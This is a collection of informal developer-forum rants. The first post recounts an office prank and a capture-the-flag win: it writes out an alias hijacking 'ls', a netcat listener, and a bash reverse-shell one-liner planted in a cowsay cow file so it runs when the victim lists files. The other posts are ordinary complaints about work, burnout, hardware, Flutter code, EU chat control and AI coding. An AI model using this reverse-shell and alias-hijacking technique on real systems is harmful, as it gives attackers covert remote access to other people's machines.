Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:

alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'

So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.

But still, harmless prank, right? Right? Well…

His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.

How did I win? First, I opened the good old Netcat on my end:

nc -lvnp 1337

…then temporarily replaced Borat's face with a juicy payload:

exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";

Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.

Moral of the story?

🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.

GREAT SUCCESS! 🎉

++age

Can’t believe it’s been a year already. Currently enjoying a month-long break from work, almost halfway through it. Realizing that I’m at an age where I need to recover from going to a museum, which is wild. But I’m taking the time to visit museums during my PTO instead of just sitting at home binge watching shows like normal.

Unrelated, I tried to crochet a Chucky doll and it turned out.. interesting.

Zig needs to get its shit together frankly.

I know the guy wants to perfect his little design, but has he never considered the fact that the shifting sands of perfection will never align for him?

Instead of working on making progress with the design he already established, he just keeps going back and changing fundamental parts as he sees fit and never making any forwards prog-

oh my god he's me.

Didn't realize how disgusting Facebook was. If a girl removes her profile picture they have determined this person hates their look. So they start spamming them with makeup ads. If a person is suicidal they start spamming them with other ads they think are relevant.

This guy brought this to my attention:
https://youtube.com/watch/...

He seems to be in the trenches against, or reporting on right to repair. Not quite sure. I think he makes some interesting observations about how tech is weaponized against consumers.

JoyRant build 43

You can now see who upvoted your comment.
This works by getting the info from the notifications list so it will not work for old upvotes which aren’t in the notif list anymore.

Forgot to also add this for rants. Will add later.

Complete list of changes:

* notifications from all tabs load at once
* info button about who upvoted my comment
* comments counter for own rants
* no reply button for own comments
* ignore users locally (added in build 42)

"We weren't able to come up with a solution before because we were using GPT-3, and now GPT-5 has come out which is so much better"

"Even if the issue's unique, it's the context that matters. Had we put in a higher level prompt, we would've fixed this issue already"

"We absolutely need to implement an AI-first system because Amazon laid off so many engineers because of AI, it must mean that we are not using it properly."

"I'm gonna put a $1000 into trying Devin, and if it doesn't work, we're gonna keep trying over and over until we eventually reach the solution"

sigh....

About a year, maybe two years ago I stupidly spill drink on keyboard, immediate RIP.

Got myself a new one right away, obviously. Didn't have much money at the time so I cheaped out on it, got a piece of trash that can't read more than two inputs at once. Like say I can't hold down shift, press W and then space to jump, shit like that. I developed a little muscle memory to get around it, just quickly switching between running and jumping. Dumbest shit ever, it kills your momentum.

Anyway I don't mind that but I've started noticing the caps are disintegrating. Particularly Meta, Shift, Arrows, they're just destroyed. The Enter keycap flat-out shattered. I can see which key I hit the most by how much the plastic has... well, melted and caved in. my touch is fire (baby) oh yeah.

So, go into normie internet to look for stuff to buy. Yay consumerism, everything sucks. Look at these pieces o fshit. And these fucking websites man. Who designed this your mother, don't answer, your mother would've done a WAY better job. Ugh. Fucking bullshit.

And why is everything "gamer" and has that horrible rainbow aRrGeebEe shit. Dafuq, boi. This is some of the most visually displeasing shit I've ever seen, and I am a shit poster by trade, I have witnessed some of the most cavernous depths of the internet's unholy butthole. I thought bleeding through the urethra was painful, but no, this is somehow worse. I am experiencing such profound disgust it has affected me physically. Also am I just a ranting geezer at 31, heh, well best to be a rapidly mentally aging son of a bitch than a fucking jerkwad with an atrocious taste that somehow gets picked up and circlejackaloped off by an entire fucking industry.

But enough about your terrorized rectum, I have money to spend. Is that mechanical shit worth it I wonder. Like those oh so ~ a e s t h e t i c ~ shitbags that take keys away from you and yet charge you more for it. Like I don't care about it being cute, will the keys witstand the ecstasy of my flaming fingers. I type a lot, and I mean a lot, man. Have you ever seen my repos, millions upon millions of pseudo pornographic keystrokes spent on shit that does nothing, I am unashamed to admit it, now where is my medal of sin bestowed on me by the finest of malignant sponsors.

Anyway, fuck this rant, I lost my train of thought midway through and it became an abomination that I am too stubborn to hit delete on.

Also I have no delete key pls halp.

Happy Monday fellas. I'm gonna be pretty grumpy tomorrow morning because:

- Tonight's TO-DO list is writing unit tests and getting past a blocker to my project which I have been avoiding. Unit tests cause depression.
- After a recent bout of depression, I started smoking more weed than I was comfortable with and tonight starts my temporary sobriety. Withdrawal from THC causes more depression.

Wish me some God damned luck bros.

I really hate working on work that require constant reporting and decision making: I don't understand how people are olay with work like that. let me present 2 cases : for context we are working on a complete ui revamp of our app.

case 1 Screen A ui revamp.
task : change screen A ui as per new figma
me : evaluates, give estimates, make new screen by changing ui wherever applicable , adding logics for new screen wherever applicable , and removing old logics whichever not mentioned in figma. finishes a task in standard timelines
Engg lead : NO!! WHAT HAVE YOU DONE! WHY DIDN'T YOU ADDED THE OLD CHANGES/MENTIONED THEM TO ME! YOU ARE THE WORST DEV IN THE HISTORY OF MANKIND

case 2 : Screen B ui revamp
new eng trainee
- starts on screen
- ask doubts on how to make new ui box 1 on day 1
- ask doubts on how to make new ui box 2 on day 2
...
- ask doubt on whether to keep feature 1 form old ui on day 11
- aks the logic for showing box 3 on day 15
...
Engg Lead : UwU MY SWEET SUMMER CHILD. YOU ARE THE POWERHOUSE OF NEXT GEN. HERE TAKE THIS QUARTERLY AWARD AND THE KEY TO MY ****

wtf? i mean yeah i should ask questions if 9/10 changes are covered in the ticket and 1 festure is missed, but if you are asking for 2 changes and not putting 10 changes, why would i bother asking about the other 8? Its like asking for an apple from a farmer and then scolding him for not coming up with "5 sacks of green diced and cutted and packed in platic containers ready to be shipped" when he comes back with a single apple in hand. ASK FOR THE CORRECT THING!!

TL;DR: I'm reading papers and doing computer science like I could never afford to in college.

I am beginning my scientific arc.

Over the past few days, I have been working on implementing my own Evolutionary Algorithms

I've been doing a combination of "experimentation" and (probably less than I should,) actual research.

My Mark 1 was just a proof of concept that set up the data structures correctly, Mark 2 generalized the data structures and actually implemented some natural selection, but this was really just made up by me so I'm only getting mediocre results.

Next step: I have two papers lined up to read on EAs. Mark 3 might not implement them exactly, but I hope to beat the performance of Mark 2.

I'm encouraged by the fact that these research papers have TONS of different things they tried, and I'm really only on my first prototype (since Mark 1 didn't have any selection implementation, only randomness)

Follow along if interested:

https://github.com/AlgoRythm-Dylan/...

I'm at a point in my career where I've started to think -

"Have I made it?"

I mean, I make a very good amount of money by freelancing, I have an online presence with my YouTube and I have a wife.

Isn't this all I ever wanted in life? If I push for more at this point, what am I pushing further for?

This question is equally relaxing and terrifying at the same time. It keeps me enlightened and in a state of limbo, at the same time.

Burned out but trapped at work for next 4-6 weeks - need survival tips

I'm 31y/o software dev and I'm completely fried and need advice on how to hang on until I can quit.

After 5 months job hunting, I landed a role that turned into a nightmare. 6 months of being bounced between different teams/scopes/projects with impossible deadlines and covering for incompetent managers/colleagues has left me burned out. Problem is, I'm finalizing a mortgage and can't quit or take sick leave without messing up income verification stage. Need to survive 4-6 more weeks.

Work is toxic and unpredictable - not enough resources given, blaming, shifting priorities, undefined tasks, endless meetings. Fake sense of urgency. Never feeling a sense of completion - there is always something extra that comes up. Documenting everything to have paper trail in case shit hits the fan, but honestly it feels like I'm at war daily and it's exhausting. I'm weeks behind on everything.

I have ADHD and my usual meds (18mg Concerta/10-20mg Lisdexamphetamine of Adixemin brand) aren't working anymore. Im able to fall asleep only after taking 0.2-0.3mg of Xanax or smoking some THC/CBD flowers. Constant brain fog, shot memory, never feel rested. Maybe 2-3 productive hours max daily before I become useless - either depressed or too wired and too anxious to function.

Already tried bunch of supplements (all possible forms magnesium, vitamin D, fish oil, my supplements drawer has like 60 different bottles), cleaned up diet, cut dairy/nicotine/alcohol/caffeine, taking strategic vacation days here and there in beginning or ending of a week.

I also suspected some allergies, tried out quercetine + vitamin c + all possible anti allergy meds - didnt help. I even suspected inflammation - tried curcumin and all other stuff - useless.

Anyone dealt with extreme burnout while trapped in a job? How do you function when your tank is empty but quitting isn't an option?

Only thing that helps is that I work fully remotely. Exercise would help but I cant force myself to do it.

Once the mortgage closes, I'm gone. Get a less stressful job lined up. Just need to survive until then without falling apart completely.

When someone writes a Flutter app like it's 1998 and blames Flutter for being "too hard" and "DIfficult"

First of all… WTF?

This guy wrote an entire Flutter app like it's HTML + CSS cosplay. No use of Flutter’s built-in Drawer, AppBar, or BottomNavigationBar. Instead? He manually built his own versions of all of them using Container, Row, and Column, all dumped inside the body. Literal pixel pushing. He made a fake AppBar inside the body. A fake Drawer inside the body. A fake BottomNav inside the body. It's like UI inception. Then he turns around and says “Flutter is hard.”

Bro… you made it hard. Flutter gave you prebuilt widgets. You chose pain.

Zero data structures. No architecture. No MVC.
The only MVC I found was: Multiple Voids in Class.

And the documentation? It's literally been around since 2018. Not even buried, just a Google search away.

Then came the excuses:
“Oh he’s from a Delphi / ASP.NET background, so Flutter is difficult for him.”

No. I’ve coded in Erlang and COBOL. You don’t see me turning Flutter into Erlang’s syntax disaster or WRITING DART IN ALL CAPS like COBOL.

Choose a paradigm. Functional? Procedural? OOP? Fine. Just don’t mix all three into some cursed hybrid mess.

What did I see in the code?

Recursion inside recursion for no reason

Functional programming patterns mixed with anti-OOP logic

500+ functions declared, zero referenced

Authentication by writing to file.txt. Like… bro, why?

And then there’s navigation. He stored route info in both SQLite AND SharedPreferences before pushing a new route. Why both? Why at all?

Honestly, Flutter has been one of the cleanest and most developer-friendly frameworks I’ve used. Dart is readable, fast, and predictable. But somehow this guy managed to turn a simple Flutter app into a twisted assembly simulator from hell.

Flutter didn’t fail him. He failed Flutter.

And yeah — the project folder was named Flutter_UI_Test_FINAL_v2_Rebuild_2023_OK and full of main_old.dart, main_old(copy).dart, main.dart.bak. I should’ve known from the start.

Really.......Some dev are idk what to describe

refer: https://devrant.com/rants/18897167/...

modern cars are awful. cheeky fuckers.

was driving somewhere with my mon in her BMW and for some reason our conversation in notEnglish triggered the AI assistant and my mom told it "fuck you" in our native tongue and it replied with "watch your tone" LMAO.

It's so funny, but awful in a way. And it keeps jerking the steering wheel when you go too close to a lane. It's quite jarring to drive like that.

Opinion: companies desperately need CBD engineers.

For a minute, forget about AI agents, GenAI, Observability, CI/CD, OO, Functional, Quantum Computing, OR, SAP, DevOps, AI Ops, ML Ops, Prompt Engineering, Data Viz, Blockchain, and even Scripting and Compiled languages.

Think about how companies approach problems nowadays.
Some executive sees something on a conference, panics and hires a dozen highly paid individuals with some soothing credentials. Those individuals whisper some magic words, the executive makes some grand speeches about how his company is totally one of the cool kids, and the poor actual employees get sucked into another useless fad.
Then costs get too high, street creed (NASDAQ Symbol: FOMO) falls 35% or more, and layoffs come for everyone involved.

Imagine if it all could be avoided with the appropriate mix of CBD and THC. The CBD engineer makes some magic potion, the executive gets mellowed out and employees get to actually work on profit-generating activities.
Seriously, give some chemical pacifier to executives and call it something dumb like "mindfulness performance enhancer" so they can feel like big boys.
I wouldn't mind working while a suit eats 2kg of cheetos and wonders if the stars are winking at his crotch, so long as the suit stays on his fucking lane and let me do what I do best.

But that ain't ever gonna work, suits gonna suit. They will want to mess stuff up just so they can pretend their parents love them.
Thus, here we are. When actual devs have to speak nonsense and pretend that AI is real. Just so they can pocket some of that FOMO cash before the ship sinks and drags down honest working people.
We need an UBI just so that everyone in a company can jump ship as soon as a suit starts blabbering about the next big fad. I'm betting it will be VR/AR again.

Company is not doing well so decided to go job hunting again, or rather respond on linkedin. Didn't think I cared that much, but I have been unable to finish the work I need to do, something that I should be able to do in a day at most. Half of me is "remember you don't care" the other half is "why are such a slacker, useless piece of shit"

Anyway, first call with an actual recruiter was positive

Week: 100 (Year 2 )

100th week. 200th rant

I am so happy. This is a special week for me. Not only did my company lose the client I have been working on, but also the company is pushing me to do the night shift without any benefits for a new project.

How is your weekend going?

Question: How do you politely tell HR that you don't want to be a slave and work the night shift without saying it directly?

last Weekend : https://devrant.com/rants/18967856

I got so many concerns/questions about the EU chat control and the future. Sorry for my long rant lol:
1) What about projects that are on life support and no active development?
2) What about chat application in video games or the chat service on the website of a local shop
3) What about false flags? Like that parent who got into legal trouble for sharing a picture of his kid with a doctor to get a medical opinion on some skin condition. (might misremember the details)
4) What about false flags like instagram banning accounts and forwarding it to the police department and over-exhausting the resources of the police (accidental 'DDOS' of their personel)
5) What if the content shared in country A is legally OK but not in country B. What if you then travel there? Or if your participant is from that country B.
6) What about content that is taboo but should be OK to discussed? Like puberty or hormonal discussions online? Some subreddits like "stopsmoking" is now also regional banned by Reddit in the UK to avoid any unneeded risks. That is bad. YouTube had some problem where adult content existed on their platform but labeled as educational.
7) What if you encrypt messages before sending it. Will you be banned just in case? What if you need support with an app and you send an encrypted application crash log that came from your computer, will you now be banned just in case?
8) What if you like privacy and have those apps for innocent purposes. Is having those apps now illegal
9) What if criminals use apps from Asia or Africa or somewhere where this law is not present/enforced. Or what if they create a simple app with this encryption. It is not difficult to make one.
10) Before 2001, airport security was very lax but then 9/11 happened and the security increased. It never went back to the state before. Since they have or will have this check, what will them stop it from expanding it after the next disaster of an unrelated accident (like terrorist attack).
11) What if those services miss a case? Will the company that allows this to be send now have legal trouble?
12) What if users are using metaphors or practice self-censorship to avoid flagged words? We see it with monetization in social media (like murder or killing is replaced with "unaliving")
13) It will be just an other problem to start a new company with limited budget. So start-ups will just have a bit harder time to break into the market.
14) this might just push users away from mainstream options
15) it's just an other attack vector for hackers to use
16) Do we want to have private companies be able to scan our messages because they are contracted by the government? They can have their own bias to satisfy their shareholders. What if they are invested by the Big Oil so critic towards the Big Oil is altered? How certain can you be this won't happen now or in the future. Reddit Admin did that before so who knows at this point.
17) Anonymity will disappear.
18) Different companies verify users and store this data so this seems like a major cyberrisk and identity theft waiting to happen
19) fragmentation of users. it is now annoying that some family or friends don't use whatsapp but use telegram and the other way around. You might need +5 chat application to keep contact and lose social relationships.
20) Is AI detected messages even legal proof in court?
21) What if you talk about video games and flag the AI system this way? Or use abbreviation from a niche community that also overlaps with flagged words (like checkpoint being abbreviated as CP) or just the language with poor support or use a 'dialect' in your chat that trips up the software.
22) What if your phone is stolen and they send those messages in your name or this is done remotely.
23) What if you are sharing old family pictures and there is 1 and only 1 odd picture that just barely trips up the system.
24) Games like 'Beyond human' also has gameplay that hurts a fictional child which fits the storyline and acts as shock value. Will this be banned
25) The newer population will see this as normal so what will they find acceptable if they can now vote

I fully expect to be roasted here, but I, for one, welcome our new vibe coding AI overlords.

I've never been good at coding for one major reason: I cannot commit to memory or manage to effectively use enormous sets of commands, principles, techniques, frameworks, etc., that are often required for this work. I've always been a huge source of frustration for team members who have that innate ability, in that I slow them down, make lots of mistakes, and generally don't know what I'm doing in the context of everything available to me to use. Especially in comparison to them. The only good ability I seem to have is picking through code others wrote, updating it, debugging it, and generally comparing it to best practices to either ask them to fix it or figure out a way to get it done myself. But it takes me a long time, and it's super frustrating.

"Vibe coding" has been world-changing for me in that regard. I know. It's not "pure coding". I know. It's "stealing our jobs". I know. "It's making us all dumb and dependent".

I don't care. I'm trading that for FINALLY being able to realize the vision of all the projects my right brain WANTED to do for so long, but that I never tried because I knew my limited left brain couldn't manage it. I knew the UI and the requirements, but I just couldn't get started. Or, if I got started, I couldn't figure out what to do next. I knew how to explain it, but it would take me many more hours than necessary to write the first working class and functions.

I'm in this to make money. I'll leave the "coding poetry" to the purists. I need an MVP, then a v1, then a v10+ as soon as I can possibly get them done, so then I can get the software to market before some other competitor.

If that makes me some kind of terrible person or shit coder who's "ruining everything" (really?), so be it. I'm due to retire in the next 5-7 years. If I can make that happen earlier with more sold software, all the better.

well developer life is shit in a political environment

>> Task 1 is given to sr. dev
>> Task 2 is given to jr dev

>> Sr dev gives estimate for task as 2 days. no questions asked
>> Jr dev gives estimate for task as 5 days, whole team starts negotiating (the st dev being the loudest voice"
>> jr dev ends up with a timeline of 4 days.
(btw task is heavy enough for 5 proper days)

both start work
>> jr dev does the task in 3 days, tries to clear out edges, run test cases, clear doubts (thats also a shitty side rant) and submit a perfect task by day 4
>> sr dev starts fast on day1, takes leave on day 2, works on some urgent bug fix on day 3 and delivers task somehow on day 4

>> both gets new tasks on day 5 . this time sr dev still has prod fixes while jr dev is again doing a large task in bad estimates

>> bugs come on day 6. jr dev task bugs 2. sr dev task bugs 25
>> all bugs get aligned to jr dev because sr dev is working on high priority task

wtf? why am i supposed to fix other people's shit? btw this guy is module lead (next position for SSE) now and i am still the junior dev, and we 2 joined the org on the same day :/

he can't follow proper code architecture, writes shit code and he is getting the wins. I am cleaning everyone's mess and i am getting the stick

this is shit life